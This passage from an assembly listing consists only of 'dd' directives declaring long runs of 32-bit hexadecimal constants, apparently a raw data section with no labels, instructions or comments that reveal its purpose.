		dd 3077488Dh, 0B58A8100h, 0AE71B11Dh, 682F0655h, 0B23D94BBh
		dd 74AB84C0h, 33CA644h,	0EF5541C3h, 70E7B35Eh, 4B1FC504h
		dd 3029A33Eh, 54FB19EAh, 61D93EA5h, 2FF7B500h, 6C7A07C3h
		dd 95A80306h, 1CC80DEBh, 0C1524182h, 0F5DD8640h, 57A2C767h
		dd 6E27DE00h, 0B77B0095h, 6D1F77D0h, 0BF0A9261h, 4CF3833h
		dd 4D9786C0h, 0CCA5783h, 0EA3078B4h, 0A0B32800h, 4A34FCC4h
		dd 29880CD4h, 5218BDDAh, 10644386h, 6088C3D7h, 11AE3F62h
		dd 424C0C98h, 24427FADh, 10B0427Dh, 6F8A23ACh, 0CA89524h
		dd 54B82A21h, 0AC42F524h, 540C3C2Ah, 86383CA8h,	3EE84321h
		dd 0E75E10C3h, 1482D088h, 80BEB85Fh, 88424E9Ch,	0F886F6B9h
		dd 0A8D25460h, 8A400065h, 0AEA88E7Dh, 5C2A3D74h, 2A00B834h
		dd 6C9AC9C3h, 188693B9h, 39CCB3A7h, 6E0A4A92h, 0C858A910h
		dd 4CFD4180h, 3CEEC20h,	94807B66h, 0AB9BD036h, 96AEEDE0h
		dd 86D5C300h, 5B90BF04h, 8C1651Dh, 0A7778775h, 49B58040h
		dd 32484870h, 943F3ADCh, 0C34CA7DCh, 7A98FF5h, 0F39BE8D9h
		dd 312040A1h, 54508BC2h, 6F3FD484h, 4A0CFC24h, 0E0D0F62Ah
		dd 0D2E1034Ch, 539DF42Bh, 0FD47BBE8h, 7B6EB000h, 0B9D5CD86h
		dd 0D6341541h, 35C81CEAh, 5987D0h, 0D5CACB21h, 314BE138h
		dd 48794201h, 37AC8C09h, 407BC05Fh, 0B7E0C0A0h,	0D5CB2A0Dh
		dd 1400407Eh, 828689h, 0AF709F5Fh, 6B41D9C0h, 8A6A9B01h
		dd 21298483h, 5364A1D0h, 27005C4Ch, 0DFE7B723h,	9B00345Bh
		dd 0EAA74ADDh, 0EC3C18A0h, 0D7973DDCh, 7F00943Ah, 0E333C210h
		dd 0B3026B47h, 8BEA8650h, 0F2C04834h, 8E612451h, 210AA30h
		dd 0C3BE142h, 14809793h, 953C86F6h, 1BE22920h, 0B0421F70h
		dd 881D8B9Ah, 87D69E04h, 1F9C874Ch, 403C9080h, 7702A37Ah
		dd 1AFC43F6h, 4F406812h, 9D974C5Bh, 8638F126h, 4037B548h
		dd 78FB5E50h, 0D5B2A715h, 4E4F00CCh, 8114D63Ch,	94AF6ACh
		dd 6AA10E8Ah, 0F8BE5C01h, 2174265Ah, 0A947D8CAh, 0AC691400h
		dd 0F399E008h, 0A748099Bh, 0C2377C8h, 828C85B8h, 0BA239CCCh
		dd 4EB91FB7h, 0B5DF026Dh, 80A04230h, 6BCCB987h,	2414B210h
		dd 5EACE729h, 59B398C0h, 126B3FD3h, 388A47A4h, 21486194h
		dd 792AA0D4h, 5044A5E8h, 84AA7E90h, 1511A740h, 0A7BDE109h
		dd 496E7h, 42A2351Ah, 0A3144880h, 3FF3E200h, 8851537Bh
		dd 0F1E8919Dh, 80DC26C1h, 0A69723F3h, 0C4B914ACh, 47059434h
		dd 2824103Ah, 90120E84h, 20115851h, 52107A0h, 85202CCBh
		dd 0E8F32ADFh, 3FF22E77h, 5C2B00D6h, 0D498134Fh, 0ABE44A01h
		dd 6ECAF8C0h, 47A828A6h, 204DE02Bh, 67020358h, 986C427Bh
		dd 17D0A7E0h, 0F52B104h, 7580B9CFh, 0FD43EAD2h,	4D746491h
		dd 80C008A2h, 0A1F49BF6h, 0EE714809h, 96288032h, 72472C69h
		dd 2422E8B4h, 570C772Ah, 9CB9D683h, 4AD8096Ch, 410F2BAh
		dd 5B1DE0DFh, 8A3E14B8h, 0FC23F69Ch, 47290357h,	0C8145F2Eh
		dd 0C0F4B231h, 0E7832479h, 1C8CA2FFh, 7B2E2080h, 85D8289Bh
		dd 48E8B399h, 0C5F38190h, 0C3FB3CA2h, 0CA9B2119h, 0B080810h
		dd 0BB458498h, 109024E1h, 4438FEAh, 7B22B6FDh, 5844C504h
		dd 0C99CD4E0h, 561041FCh, 24D47271h, 891C4042h,	0BE246F11h
		dd 0E5950C30h, 0ED304DD1h, 4CC940CAh, 9F4830BAh, 7155E8D8h
		dd 9C84AE90h, 90C4948h,	0A2C0385Fh, 0E0A7E300h,	2E28B63Ch
		dd 98FCC9B2h, 8E794860h, 37140091h, 74A928ACh, 403BA8CCh
		dd 17BA09ABh, 9006FFAEh, 127848FAh, 3548E4A4h, 0B05729B4h
		dd 90701412h, 0CB41F421h, 9C906090h, 0D0EEDB02h, 8C754209h
		dd 0F050203Fh, 2C5254Ah, 7F0482ADh, 0E4816186h,	38585C4Ch
		dd 0A6260050h, 6F3F0C84h
		dd 0F0E54802h, 8E9FE00Ch, 4129A458h, 6501F432h,	2D2B885Ah
		dd 3C446F0h, 0B37612B6h, 56B06A90h, 62005166h, 0D043E7F1h
		dd 0C07DBAA6h, 964529A1h, 62025225h, 0E4648420h, 0B63DE12Ah
		dd 0B0A13BD1h, 0A14E0E68h, 0DACE6C00h, 2300EA9Bh, 0E2C115BEh
		dd 12108749h, 40AC5732h, 58C28B04h, 4006600Bh, 338C310Ch
		dd 1E0FEA51h, 4CA58111h, 0AC31A857h, 78152900h,	0BE431631h
		dd 7C511E48h, 9096D6h, 89D77663h, 204930B6h, 63905818h
		dd 0D0D86E99h, 7B6628F2h, 0D4B8006Ah, 0E67215B9h, 0D064725h
		dd 6C5FBA89h, 57750031h, 0DDF456EFh, 6D7EB565h,	0CB77100h
		dd 8F154720h, 4D400058h, 2F138583h, 0B6009B73h,	95964C79h
		dd 155A702h, 2552195Bh,	6085C138h, 6600F4DFh, 0D3279D0Bh
		dd 0F0EB1BCDh, 0E6880B78h, 8F074054h, 20C2086h,	46032EF8h
		dd 365B44B8h, 0AC4103BCh, 0C9B7E923h, 34C3F1D0h, 20F2AB1Eh
		dd 0D2534583h, 2B749087h, 0F08BF855h, 1C100038h, 516C5EA4h
		dd 0FE62A96h, 9867900h,	0E3F7EFA2h, 36E2BAh, 26C70D07h
		dd 66478D2h, 28D67200h,	5C4BFB55h, 9D300E2h, 0CB3D80CEh
		dd 5400E456h, 8326F51Ah, 7435F047h, 0B6A0071Bh,	47A98CABh
		dd 1C0E0085h, 6A0369F2h, 0EE580266h, 3CAC827h, 0EDBE1A8Bh
		dd 41D11E4h, 4A8D3BC0h,	1F5FF8BFh, 3BCC5C9Ch, 4089E89Dh
		dd 229DE2BCh, 3B00BDAFh, 0A6A83C0Bh, 0C8865F5Eh, 3242A429h
		dd 20072430h, 80CBAA05h, 0A888250h, 33B2401Eh, 440E3944h
		dd 51CFCC9Dh, 9223A01Fh, 0B71638h, 0C806EF3Fh, 0FF45DD30h
		dd 79F5F700h, 74EC038Bh, 6C1A1D60h, 76270059h, 71506B20h
		dd 335CD1A0h, 0D34B0E03h, 0B0F4CD8Bh, 114214h, 4EEEA966h
		dd 1A452E10h, 0FAE7AB07h, 0E6C0DA82h, 0EA214259h, 3D03768Ah
		dd 6B1F5EEDh, 47DF00F6h, 0E1899601h, 0D27AD900h, 370F4913h
		dd 0D1CE001Eh, 865E8826h, 11C33EC2h, 908091B2h,	0B91841h
		dd 0E1081449h, 0E658A7D5h, 591CD700h, 34794EA6h, 8FDE00BEh
		dd 703992CAh, 0D4A84811h, 9C0715F6h, 8386A6B8h,	3F8F5400h
		dd 20D50013h, 7E194B4Eh, 62001297h, 1C6E8AA7h, 0BB7BE1Dh
		dd 4E8BFEFCh, 0CF111B87h, 0AC0BDE0h, 0CF006913h, 96E27BE3h
		dd 0BA31AAh, 3725B24Fh,	8C3D874Bh, 0F8394806h, 1C20AC50h
		dd 40F3F696h, 4A1E33DCh, 0CC004E8Fh, 5C705ACAh,	3B3D2EDh
		dd 1D56C22Bh, 0AEF8A5F8h, 0C0C02840h, 0D4790A4Bh, 4C33AF0h
		dd 0E494960Eh, 251AD3C0h, 0F900EAB2h, 9A129827h, 35DEC5h
		dd 7FA7DA24h, 1CD058D9h, 43FB48C0h, 0A089F49h, 443AB7F8h
		dd 2F600EDCh, 0B08804A0h, 73001DF9h, 3530DF61h,	1E974B82h
		dd 80B91C45h, 58371A33h, 0D2FEAFDCh, 20B19426h,	93F55001h
		dd 108191ECh, 40B7C19Ch, 0B3A07E0Dh, 7E5101C7h,	723F2BFCh
		dd 8B830ACh, 21D2412h, 5F279805h, 0B8FDC420h, 87ECE3h
		dd 7AD8E755h, 75803D96h, 0A73AF607h, 5CB6600Ch,	63B90368h
		dd 0BBD7D548h, 7A3E5008h, 0A00407CAh, 397BB089h, 500031CEh
		dd 0E1A15BFEh, 36A47h, 0FD3FF32Ah, 6C372253h, 129D8312h
		dd 0B5CDB801h, 1B20D33Bh, 18856018h, 76230454h,	1E4B6600h
		dd 1FC74F1Dh, 0F93F0009h, 0D62EA84Ah, 3509AC87h, 1A1552Ch
		dd 79E61058h, 99EDC0h, 0FD94F59Dh, 0A6E3EEF2h, 0F1011800h
		dd 10D28057h, 0C423DEBh, 0AF09D800h, 0DBE6F6BBh, 928A9D00h
		dd 0F74DB496h, 42290023h, 0B0FA7399h, 0C91D721Fh, 0CD40BAB9h
		dd 303FCBAFh, 86BB0023h, 0B4F247Bh, 0F8A21B71h,	0D6710047h
		dd 8301A00Ch, 9DCBC5BDh, 64C4C037h, 0B2720016h,	35465CA8h
		dd 0E8A3E2B0h, 0CD2C360Ch, 0A0FC11D9h, 0FEA9EC7h, 0F70B6170h
		dd 9B62FEEFh, 0F580D7D8h, 133C96C8h, 6F8DC900h,	0D4AFEE29h
		dd 0F49051h, 3FB0B161h,	0A2723C27h, 0C4ED0E26h,	0D2F79400h
		dd 7EBF3DF0h, 4F970006h, 77127DADh, 300A725Eh, 0FC74A90Bh
		dd 0D05009h, 85AA7BF8h,	487FEEBh, 5319D73Ah, 5F8C8071h
		dd 300EFC93h, 0DF92D52Ah, 8296F949h, 0D7C74Ch, 0A56EF59Eh
		dd 35DB2D00h, 31B58C3Ch, 0EC850040h, 0C6E10D9Ch, 7807EE56h
		dd 2CF0016Bh, 80C063C4h, 778E2738h, 58DE00DDh, 0AC9BB05h
		dd 0E90F4A9Fh, 571461B1h, 0A04D5B0Fh, 0ADE564EEh, 0B3E03BCDh
		dd 0E8AEEA86h, 9C1E307Bh, 9B802DB7h, 2FEBF53Fh,	334A002Bh
		dd 0B982F8AEh, 1F0E905Dh, 0E08FC2ABh, 0A82D9DEEh, 9490B7h
		dd 47AE6B9Eh, 6E038646h, 0D3974400h, 6AE7317Ah,	95B0113h
		dd 0E65A2EBFh, 0C0ACE1B7h, 0DB00064Ch, 0B57B1EB9h, 7F597488h
		dd 4E7E016Fh, 29D33A77h, 7641D826h, 65DFEB00h, 0B4364ACEh
		dd 0C11300D8h, 6ECA399Bh, 0EE00BEBAh, 0D0845FE9h, 3D210E24h
		dd 0E6AE50F9h, 88460042h, 3C8FA978h, 1F7A0100h,	0E181D271h
		dd 10C14816h, 2D187900h, 64F274ABh, 5C1FA207h, 85A0FE3Dh
		dd 3EB49989h, 0F300C7B9h, 200E836Dh, 86079B54h,	0EE82078Fh
		dd 7FA949D0h, 0DA19000Bh, 5D6DBFA1h, 0D6751BE5h, 0A11D5Ch
		dd 567F1C7Bh, 0D97E14h,	0F9D78B85h, 0FA07448Ah,	0FBFE4D00h
		dd 0E7903523h, 0CB800071h, 9FABBB4Bh, 0AD09FD74h, 803EAEE4h
		dd 0F988C8E0h, 0B8DB02Fh, 0EAF30628h, 0C9C4D780h, 9A00EE1Fh
		dd 0FCE90C3Ch, 1897CCAh, 62A8B049h, 2073BB10h, 990036A8h
		dd 0D4710554h, 1661781h, 5E0ABFB0h, 3044203Ah, 13001FECh
		dd 0FCE48B48h, 93EEBD3h, 5D22EC90h, 9D7A4C00h, 749075F1h
		dd 330F3F00h, 0DF1048F8h, 0C15A0C45h, 0AE2873ADh, 0F5710102h
		dd 40FE511Dh, 2EFAC74h,	5DCBA56Ah, 0C080BD32h, 0DE5A9149h
		dd 57DCD91Eh, 26BB95C3h, 23002D8h, 5D6F09F4h, 3F0E1E5Eh
		dd 92EE03ABh, 0A9840004h, 16627963h, 4600E4DBh,	8E6730DDh
		dd 18B165C0h, 30FE35D9h, 0D0ED86C3h, 0D6005EE8h, 0C2677A21h
		dd 2CE32859h, 20247Eh, 0E0D08814h, 2700432Ch, 0D59C3E32h
		dd 0C72CB03h, 77E5DA8Eh, 6D3FD18Ch, 0B93400C4h,	0AC639370h
		dd 7FFC2869h, 0F97400ECh, 7215C96Dh, 0E4030E1Dh, 3B78C731h
		dd 0E355C0A7h, 6970287Dh, 84C0090h, 950AFD71h, 0B0008AC2h
		dd 10A1F55Bh, 507CC68h,	84FE336Bh, 3E9402ADh, 47604A75h
		dd 8F077BD3h, 899F47D7h, 0CA6E8C0h, 0E3E092h, 2B313DFDh
		dd 9AE61930h, 0F5EA9919h, 0D6DC3B20h, 8FA1869h,	0EC0F8061h
		dd 0B7E1CF1Eh, 0C2438345h, 0DD20C0AEh, 0F760726Bh, 30898139h
		dd 6DEF00A1h, 3E88493h,	0B4008CB1h, 1B460D62h, 57F4E0h
		dd 8978CF81h, 97ABEF86h, 7E31B21Ch, 0F16F1E05h,	40285CC0h
		dd 0C6B12893h, 0B0790E90h, 43FF38A3h, 0A5BE1229h, 3E4334D8h
		dd 800CB200h, 0D390A97Bh, 505C0BB9h, 0D800892Bh, 25B8F495h
		dd 769A7117h, 83262000h, 6CB31Ah, 61B45C47h, 9EB64A0Eh
		dd 4DEF5D00h, 8DE4A303h, 94C4A7Fh, 1A0080B4h, 41EC8E8h
		dd 67B0B150h, 71B03000h, 0AD91A0F0h, 25760029h,	4EC6CD93h
		dd 0D01D628h, 0E84F2E63h, 94E819C9h, 0A2A60758h, 2066333Bh
		dd 0B7C3FF97h, 0DC078CA8h, 635AB000h, 17D279FAh, 0E6B1000Bh
		dd 97B35687h, 0E5901EC2h, 910E9800h, 0D9BEE5B8h, 1CDA7C9Ch
		dd 7FF577DDh, 12AB3D09h, 32E11E0Ch, 0E100A2F2h,	4A1FB9C7h
		dd 0BE2B8h, 0C9384FD9h,	0F0FE9C37h, 0A3180274h,	0AC114BBBh
		dd 411605C4h, 0BAAB642Fh, 9418F818h, 183F008Ch,	6C5C7A26h
		dd 4500BDA8h, 1904690Bh, 11162A9h, 0AEB4A7D6h, 0C429E65Eh
		dd 9FFCA570h, 7B1F44B0h
		dd 1F80F64Bh, 956A711Eh, 5A6302D2h, 7FDBFC0Fh, 23FAE040h
		dd 309ED831h, 60B650h, 0FDA3A058h, 6C1E00FCh, 6427152h
		dd 0FB71DD5Dh, 1377E103h, 0EFB78Fh, 2D689839h, 0BDDE709Ch
		dd 0D1D47507h, 58E2E0F9h, 55F04095h, 0F7AA00AFh, 0DCB65EC2h
		dd 86007EE2h, 7B581E0Eh, 0F531A14h, 6D1383EFh, 7E3C00F6h
		dd 79D468B6h, 0FC995128h, 0EB7E6075h, 6D90C400h, 62CFED7h
		dd 415F00F9h, 59151802h, 0BC00CF8Ch, 61E26214h,	0C5D267h
		dd 0F0812A5Dh, 0E4F09ABh, 0D240498h, 0D607559Bh, 0D984650Fh
		dd 7A5D5D80h, 0FBA905FEh, 0C0701DC1h, 8192BC20h, 6D0F1300h
		dd 0C7614563h, 6C710017h, 0AB364F1Ah, 8D077931h, 37325696h
		dd 7C930D51h, 135916C8h, 0B2B050h, 51E81380h, 5514FCF9h
		dd 19CF8EAh, 9AF3DADEh,	7760322Fh, 12130084h, 9F5507Ch
		dd 0B04B2851h, 11DDAC00h, 98C63BB5h, 29170E72h,	4B60A588h
		dd 0BEEF5071h, 69D1240Ah, 0EE26B425h, 59020500h, 77EB781Eh
		dd 0E8933CD9h, 6EB32C03h, 2100655Eh, 96EF9BEAh,	902F8EB8h
		dd 4CB0E0h, 0C66B5214h,	95EEB487h, 9161D01h, 4470250h
		dd 8E112463h, 8A4E0DAAh, 5C211108h, 0F8821730h,	0CBD70C67h
		dd 0BC5853ADh, 5013798h, 7E69D53Ch, 0A8D4C87Dh,	419E00A3h
		dd 9DAD3DBh, 5BFECBE8h,	76570A00h, 4D827103h, 0D4D85868h
		dd 566BEB05h, 0F7F88CA0h, 0F2362500h, 0FCE9F16h, 0CA1300CBh
		dd 0AE1AD94Ah, 0F30C6CFAh, 4866FDC5h, 104400C6h, 3E31BC24h
		dd 691C1F91h, 0A247DE40h, 0A0C0860Bh, 0A70CA3h,	13D41697h
		dd 55C46258h, 1283C202h, 63531BB0h, 2572C054h, 84090291h
		dd 0D1779EECh, 0B456E8C8h, 6D6FA71Dh, 627E5580h, 902C01A5h
		dd 17D600CFh, 24C6C335h, 7EC9731h, 0F3EC7CC1h, 0AC70CC8Dh
		dd 9E9C00FAh, 2436599Bh, 0B8B2E762h, 1612B0EEh,	40C04E2Ch
		dd 0FDE198Ah, 0A65BC482h, 0F5D87162h, 1C751F40h, 0E2775E13h
		dd 53EDA800h, 397CF80h,	0FE2C0C12h, 98F0A25Ch, 0DF397695h
		dd 0E4ABA68Ch, 0D640401Fh, 18EC7534h, 6DAF00D3h, 0FD89844h
		dd 7487DCAh, 0ED5109B8h, 14C460h, 138B1ED1h, 1D1C70FBh
		dd 4E51FD2Ch, 0BE180127h, 12C8A5C8h, 0F44B0ECDh, 0E74301F9h
		dd 3100FC0Dh, 8B4506C1h, 0E64DDFDBh, 604F1EF4h,	58E74004h
		dd 9CE4AB42h, 48864A3Dh, 64B500C7h, 30DFA4B6h, 3DDD008Dh
		dd 6884167Ch, 5B001DCAh, 1B4B0B18h, 0E365BFh, 2DF7E410h
		dd 0A2B00347h, 0DA593600h, 37070A06h, 320F0079h, 0F61D1F88h
		dd 4730FF6Fh, 0D8E911E0h, 4B62180Dh, 406D39A8h,	68D1B400h
		dd 99AC184Fh, 0E23400D2h, 0A2B5EA2Dh, 0F200167Bh, 0BC01074Bh
		dd 4E41B21h, 697202B1h,	2B5CE0CEh, 57EFAA00h, 9943689Ah
		dd 0B30F61Fh, 2B508C0h,	5460980Fh, 8CC58E3Eh, 0AE00FD7Ch
		dd 4D92495Dh, 5A7BCBh, 0B50E9FF2h, 671F10A6h, 38325430h
		dd 72694565h, 0BC3D59A2h, 0E6F15803h, 4EDBB723h, 1C246498h
		dd 0A47ACA1Fh, 0AACBCF44h, 71F80C90h, 220E0BC9h, 0E287D0F9h
		dd 9075D76Eh, 1EE07046h, 0E87D98B8h, 0E97148h, 96880751h
		dd 0D298D6h, 0D902167Ah, 9DDFE7F7h, 0A5108A00h,	0D83C7FA9h
		dd 841212A2h, 0DA7C0302h, 3000D1AFh, 4315BE0Bh,	0FB8A39h
		dd 0C5904F0h, 0ABFE8AAh, 0DA761300h, 0D5362CF6h, 62293F92h
		dd 0CC0828h, 412432DBh,	2AE0CEF3h, 18114B30h, 0F8AC3F2h
		dd 0A51484E3h, 6EEBA001h, 0C2E2F099h, 1282FD1Fh, 42BB003Dh
		dd 17DB5D0Bh, 0D43B0008h, 50DE7686h, 3471037Bh,	0BCD3AD3Dh
		dd 18380E8h, 4A441ACEh,	68A70B62h, 0D0855828h, 65DA0674h
		dd 9D981156h, 0B7793900h, 0BC6786F3h, 6068BABBh, 912F70CCh
		dd 0D503226Fh, 0A03493C0h, 0CAA1C09Fh, 0B05800C2h, 78745C56h
		dd 9114C74Dh, 3FCC25D6h, 791309BAh, 8F59094Ch, 0B47AA037h
		dd 0C708F457h, 4E8510h,	6413489Bh, 7DDE6712h, 4D6EFC44h
		dd 98F218B0h, 5CAD0530h, 0A0759964h, 4716707Ch,	548CC0D8h
		dd 6FC95872h, 0A08C2060h, 0C300CBD6h, 0DF2F3CD4h, 0B610FEh
		dd 0B7C09C50h, 1AB311CAh, 9419A603h, 0A8534C5Ch, 21E72Bh
		dd 798B7B75h, 0F5A6859Ah, 1F071700h, 0FC52ECEBh, 5D300CCh
		dd 28AA42B9h, 0C200379Eh, 20A214D9h, 2663C339h,	0E2E85BEh
		dd 0F60077B4h, 120D3A2Fh, 0DF495200h, 71D2E567h, 559D002Bh
		dd 0F67081F3h, 6B7250F4h, 0A76A5D00h, 7B808E36h, 3A043A2Eh
		dd 0C9F73400h, 0B161EFBEh, 0F082D500h, 0A6847495h, 0E69A0067h
		dd 1C6938ABh, 23018FADh, 522429C4h, 14E08417h, 68F4CAh
		dd 9489D5A2h, 0CC357EBFh, 0EA88D903h, 0A06571C4h, 74C6B2h
		dd 8CBE6F38h, 0DAAA78D6h, 0D5CE0800h, 451B5C4Fh, 257300E2h
		dd 0F71F827Eh, 3A0085FBh, 77A2ADC6h, 3CA56C7Bh,	0EF807A34h
		dd 0ABE11967h, 0EC00D9BFh, 0EDCDDBE8h, 0F354378h, 0D81F259Ch
		dd 5F806D2Bh, 0E041F342h, 710E5501h, 0C94FC61Ch, 30BF4h
		dd 0D25DA2D5h, 0E6BAF0A0h, 0DCB21D01h, 544EB88Dh, 0C54330h
		dd 0ADF237D4h, 59A75FDDh, 62350901h, 10701A20h,	37F360h
		dd 56879604h, 0F17C9271h, 0B6270500h, 9C4BDE79h, 5DE1006Ch
		dd 30F00C32h, 621E10E2h, 1B00DD3Fh, 0ECA6D8AAh,	0E9D70092h
		dd 65642D49h, 690068A1h, 1DC7E3E8h, 3B344BDh, 8BDA83D1h
		dd 9080506Ah, 0F001822h, 3CE43F04h, 0EF5D7h, 207B3951h
		dd 0ECA85D4Eh, 8ADDE8A0h, 0DCBED81Ch, 62CFEEC3h, 7360F87Dh
		dd 379524D4h, 511269h, 56C9DF49h, 7800C2FDh, 31ADEB90h
		dd 1CD6A53Ch, 0C1C19480h, 5216AC12h, 0CCE84033h, 5180977Fh
		dd 0E16404FCh, 0BE689FAFh, 919069C0h, 0E561ECFh, 470180C1h
		dd 0DF39CB63h, 0B3074112h, 0E7C67800h, 1E1DBB16h, 0A88EBFF1h
		dd 66FE00B0h, 0B7F34406h, 850020BDh, 4A29D25Ah,	1F46D71Fh
		dd 833995B5h, 9F84A0A5h, 0F51363E8h, 0E0BE3800h, 0CB8F509Dh
		dd 5AE700DEh, 18BA17E9h, 0A003D04h, 1F0EF2F6h, 0FC4A88h
		dd 728D1B7Dh, 6623CC57h, 1E48FF3Ah, 0F98620DAh,	4C0C76h
		dd 0C16375E4h, 0AF8CA1B0h, 0E1BB2100h, 101B5708h, 0F8EB00BDh
		dd 11800185h, 3A0E8881h, 0E0B5B7AEh, 4919FF15h,	0D9D0FEDh
		dd 0D7C05BFEh, 40CF5A64h, 0F5232C00h, 48C3EC35h, 0F7EA03B8h
		dd 0D04FE72Ah, 4D9D67E0h, 0B6FFA307h, 0D1A03FD7h, 983AEAB4h
		dd 6F9000Eh, 1EB766DDh,	0AB160945h, 2B009783h, 0D44139C5h
		dd 0B950069Ah, 89124890h, 28B20E00h, 2144BA80h,	4BEF005Eh
		dd 0EBC3AE2Eh, 64072F3Fh, 5646CEF5h, 84802AE4h,	90FC6EDh
		dd 3BAA40A4h, 19AB9F82h, 7E801560h, 57FFB40Eh, 0B313608Fh
		dd 0F9B13Ah, 50776BBAh,	0E05B2E94h, 6CDD3200h, 0A189952Dh
		dd 0B5D100C4h, 60AE7A04h, 0E1000E4Bh, 1B825D4Dh, 2518E79h
		dd 0CA352502h, 0E0DF0FEAh, 13D3C6EBh, 70D5B74h,	846CD7F7h
		dd 206C87EDh, 0C12A55FBh, 0E0B35101h, 71D71057h, 0F85F1040h
		dd 0C880E955h, 2990A6D4h, 915106D0h, 0AF5ED4A7h, 0D6215662h
		dd 551C80C8h, 15B601h, 34CB5958h, 0E37427B0h, 602E5F58h
		dd 827AA231h, 292C586Dh, 49A82303h, 207256A7h, 2ECB511Dh
		dd 186B007Ah, 2855F962h, 0CEF889h, 6376D4F1h, 75D8030Dh
		dd 6093323Dh, 0AB156E89h, 0CB613A55h, 14087EB1h, 5480FA60h
		dd 25041E6Eh, 8792BD00h, 0B5527F5Fh, 0AE5500C4h, 0FE820E93h
		dd 0B1FF331h, 0FD40F897h, 4E9C5644h, 0D9933A8Ch, 3372C480h
		dd 0B6CC8273h, 0B0E45903h
		dd 0C0E20217h, 3B690Ch,	75AE9B5Eh, 2E3EC4FCh, 5AEB8B00h
		dd 4037C57Dh, 0CF70074h, 0B77FC204h, 4BFEEDF0h,	97E59501h
		dd 6C84C347h, 5862CCh, 0C271CD28h, 0D19C5743h, 20057600h
		dd 3D517FBAh, 5FEE38h, 849BD8EDh, 5AEA8763h, 0F621C700h
		dd 0DB7C55C2h, 1F76BAh,	660AF4D7h, 0C88FC692h, 0DCD44B54h
		dd 0DE6504ADh, 443207Bh, 400380BFh, 15671D0h, 75285F1Ch
		dd 80AC702Ch, 570E9121h, 0CC69B1Fh, 0E0254DD5h,	72046739h
		dd 0BCC0ADD4h, 58E3FC80h, 183524E2h, 0DCAB03BFh, 0D1C820A1h
		dd 372417DAh, 5780BC90h, 4F9F3C74h, 55E316F6h, 0ABEB00EDh
		dd 1969C27Dh, 8FCC6202h, 0C0F65009h, 293DC58Fh,	0C22039B2h
		dd 0FD31AB5Eh, 0C6B2EBE4h, 0B18FC9C1h, 3A2A661Fh, 4DAC14C0h
		dd 0EF368Eh, 9C3D4F05h,	0D9AE4097h, 5E023899h, 0A0FF7850h
		dd 4C352194h, 24563C95h, 8E0E361Eh, 0F821F920h,	0C81FC0C2h
		dd 0B37F5818h, 0D8322801h, 5E1B17DFh, 8980AAD5h, 0F590FD51h
		dd 72179139h, 22062EF8h, 192098B0h, 0A9312D4Ch,	503C4077h
		dd 5A039CAAh, 38BD75B0h, 8CE68081h, 1A6F421h, 244DD8B2h
		dd 8250E154h, 0C8F78D48h, 113720D7h, 0D0BCF5Bh,	801233F8h
		dd 665EBE62h, 0CEEC13DCh, 0C86406D6h, 9DF63188h, 0A9E7FE00h
		dd 0D8A86DDAh, 935C0065h, 374B1A54h, 0B21182C0h, 6E01D5C8h
		dd 0BCC296A6h, 0FF588597h, 0A0404E15h, 0E5A50ADFh, 889600F4h
		dd 9B95F3ABh, 980DD8F9h, 2962F809h, 0D960DFCBh,	2DEA46h
		dd 94038784h, 93505AEFh, 1DC7412h, 51A40400h, 0F6D88D68h
		dd 0F287FACh, 0BDE2ADA2h, 0B195019Ch, 23693539h, 0E0F005Ch
		dd 89946A2h, 3DBC3FF7h,	0AB0A924Ch, 87F45E77h, 0D21CE5CEh
		dd 33E00B9Eh, 0CCF4429Ch, 0DA74260Eh, 8979612Bh, 7C21F3A0h
		dd 72AD7C01h, 101A022h,	6FBD7E51h, 407980A3h, 29786E77h
		dd 0BEF4008Ch, 0D236968Dh, 7145AE52h, 1DE13880h, 87C0D893h
		dd 50F8920Ch, 90DDF058h, 0AE6F306Ch, 47C99F51h,	95FB6C02h
		dd 89026474h, 4C509088h, 99DA602Ah, 60465EFCh, 346DD428h
		dd 957CF614h, 0ABCFA4h,	3FF078F7h, 54F8302Bh, 3877A029h
		dd 8A3D561Eh, 69DB0A07h, 0A2EC0129h, 0F183F05Fh, 0DD416F20h
		dd 9867701Dh, 0D9E184C0h, 0F2FA69h, 291CE880h, 0B1ECD8C1h
		dd 5941A965h, 0B85A580Fh, 7C6171h, 3702BD64h, 0F8C68BB9h
		dd 0E138FF62h, 0ABC803D4h, 0D309D91Eh, 4543CCDFh, 0F819A085h
		dd 1CFCD63Bh, 0C0518270h, 4B314CC1h, 6B00F7B0h,	60C8E452h
		dd 4C4E2EDCh, 64805823h, 0F6465D95h, 0DD441490h, 0AC20073Fh
		dd 205FE150h, 5372D2E7h, 85CC5139h, 0B8488BC7h,	2A798860h
		dd 0B6582874h, 60C8E2D4h, 28E661B0h, 6E128D0Dh,	6D0E5BD3h
		dd 0A027A708h, 939020A9h, 5CD464DAh, 0D680946Fh, 0C35DAAC0h
		dd 4080AC54h, 0CCB848h,	4E28CD51h, 990653Ah, 60242E15h
		dd 5E206000h, 0C1C2A6D0h, 90F35CA2h, 88B2CFB0h,	9500B849h
		dd 0D7FFC401h, 25A434h,	2272F7C2h, 0DC611E18h, 2D19E3F2h
		dd 0FC5866E0h, 0F5BFA080h, 0E69C0E70h, 8D001899h, 402D324Eh
		dd 554926Ah, 0F3880905h, 0B844006Fh, 9C3A9484h,	9291BE00h
		dd 0FDAA3497h, 4026EDE2h, 0ECB3848h, 70C50177h,	4A70C779h
		dd 9FA5017Ah, 3E2CE0FFh, 49B6F01Fh, 0F73966F2h,	0ABF8E497h
		dd 4C442B22h, 3D0CD0B0h, 0C826E998h, 0D50A00CBh, 66D78D73h
		dd 0E4549044h, 5B497774h, 8E883890h, 20621EDDh,	0D7F74B05h
		dd 2410FA12h, 0C5079F8h, 0A71A46Fh, 0B4E6BE00h,	0B86AB99Ah
		dd 36C300DEh, 0D072F89h, 0E7052DCFh, 64ABE038h,	0C5DD8C81h
		dd 0AE70AD10h, 94F4B04Ch, 0EBB3C448h, 55BB4CC0h, 6890ECh
		dd 96BD8815h, 0ED254BC7h, 0F550C401h, 67113D73h, 0D430C441h
		dd 70F24180h, 8C891619h, 1880BE53h, 6AE15977h, 1983079Bh
		dd 503AEC34h, 322A9A6Eh, 38D026FBh, 2262225Ch, 0F491A7CFh
		dd 0F7A3E380h, 194E5532h, 884F7413h, 0CE10F62Bh, 766D2824h
		dd 7336003Ch, 1E5528FAh, 6E149764h, 0AC489BEh, 94FB2DD0h
		dd 5875AD84h, 691A8491h, 990CDC23h, 8589A570h, 3B1C46FAh
		dd 802D1A65h, 5F229592h, 6F0D28B5h, 6490058h, 9617652Ah
		dd 521C0755h, 0E14470F3h, 7C9D2497h, 0D327C088h, 0B9DBAD8Dh
